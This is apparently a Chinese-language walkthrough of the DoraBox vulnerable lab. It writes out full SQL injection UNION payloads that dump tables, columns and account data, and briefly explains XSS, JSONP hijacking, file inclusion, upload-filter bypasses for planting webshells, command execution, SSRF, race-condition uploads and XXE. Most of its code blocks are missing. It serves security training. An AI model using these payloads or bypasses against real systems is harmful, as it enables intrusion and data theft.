源码中id是htmlspecialchars过滤的,过滤是过滤单引号,双引号,尖括号和&的,但是过滤的是html实体并不会影响我们的操作
-1 union select 1,2,3
爆数据库:-1 union select 1,user(),database()
爆表:-1 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
爆列名:-1 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='news'
爆值:-1 UNION SELECT 1,2,concat_ws('|',id,title,content) from news
这关和之前是差不多的,就是要闭合一下单引号即可
DoraBox' and '1'='2' union select 1,2,3'&submit=submit
爆表:DoraBox' and '1'='2' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--
DoraBox' and '1'='2' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='news'--
DoraBox' and '1'='2' UNION SELECT 1,2,concat_ws('|',id,title,content) from news--
这里百分号和单引号都需要闭合
爆表:-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆列:-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='pentest' and table_name='account'#
爆数据:-1' union select 1,2,concat_ws(",",id,rest,own) from account#
源码里会打印内容
当然我们还可以在本地搭建一个xss
在网站上输入
就会跳转到这个页面然后中了我们的xss代码
这个xss是存储到数据库里的,每次刷新当前页面都会执行
先输入,然后刷新页面就会执行
输入
这里会打印我们的xss代码
Json劫持就是要把打印的数据,远程调用 JSON 文件来实现数据传递
代码块
JSONP劫持测试
address可以换成其他的,列如email从而获取它的email值
我们可以构造我们html页面来劫持它的内容
代码块:
Ajax
Ajax 发送 get 请求
假设我们要包含它就直接输入txt.txt即可
源码中,这里是直接包含的,中间没有过滤
源码这里其实并没有限制目录文件包含
./点斜杠其实是指当前目录的意思,并没有起到限制的作用
这个页面上传什么文件都可以,不多介绍
下一关
Js限制文件上传
直接限制了我们上传php文件
在上传处审计元素
这里只要把onsubmit直接删掉让js代码不起作用即可
只要是这四种类型的mime都给上传,那我们直接抓包Content-Type改下即可
这里源码中限制了一些后缀,我们把后缀改成php3即可
这关可以直接用图片马来绕过
这里用assert来执行代码,可以说是webshell了
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门
这里是用exec来执行,函数功能:允许执行一个外部程序,如unix shell或cmd命令等;
这里是用file_get_contents来获取的值,比如获取我们的百度首页,再比如获取自己网站的信息
这关没发现漏洞啊
不管是正的数字还是负数都不行
自动化也不行
源码里有一个白名单,上传后,如果不在白名单里,文件就会被删除
我们通过多个文件一同发送,在删除文件之前,得到访问
源码里面有poc
这是可以读取任意文件的
这里是用php协议读取文件的
刷新页面抓包改成
代码块
]>
&hellwork; Mikasa